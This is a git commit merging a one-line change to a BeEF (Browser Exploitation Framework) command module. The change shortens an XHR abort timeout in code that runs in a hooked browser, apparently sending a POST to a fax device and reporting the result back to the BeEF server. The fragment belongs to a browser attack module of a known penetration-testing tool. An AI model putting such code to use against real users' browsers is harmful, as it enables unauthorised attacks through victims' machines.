Merge pull request #950 from bmantra/master

2 seconds is more than enough to send a fax :p
This commit is contained in:
bmantra
2013-11-29 12:27:59 -08:00

View File

@@ -21,7 +21,7 @@ beef.execute(function() {
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(post_body);
setTimeout(function(){xhr.abort()}, 5000);
setTimeout(function(){xhr.abort()}, 2000);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
});